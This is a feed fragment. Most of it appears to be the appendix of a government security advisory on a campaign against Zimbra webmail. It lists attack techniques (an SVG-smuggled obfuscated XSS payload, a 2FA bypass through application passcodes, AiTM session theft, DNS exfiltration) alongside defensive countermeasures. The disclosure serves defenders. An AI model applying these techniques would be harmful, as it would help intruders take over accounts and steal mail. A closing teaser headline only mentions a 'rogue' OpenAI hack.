</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI’s AI “goes rogue” and hacks Hugging Face: what you need to know]]></title>
<description><![CDATA[You can't have failed to hear the news headlines about "rogue" OpenAI models hacking into another AI organisation, Hugging Face.

But what has actually happened, who is to blame, and is it as serious as some of the reports suggest?

Find out in my article on the Hot for Security blog.]]></description>
<link>https://tsecurity.de/de/3689376/it-security-nachrichten/openais-ai-goes-rogue-and-hacks-hugging-face-what-you-need-to-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689376/it-security-nachrichten/openais-ai-goes-rogue-and-hacks-hugging-face-what-you-need-to-know/</guid>
<pubDate>Thu, 23 Jul 2026 16:41:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[You can't have failed to hear the news headlines about "rogue" OpenAI models hacking into another AI organisation, Hugging Face.

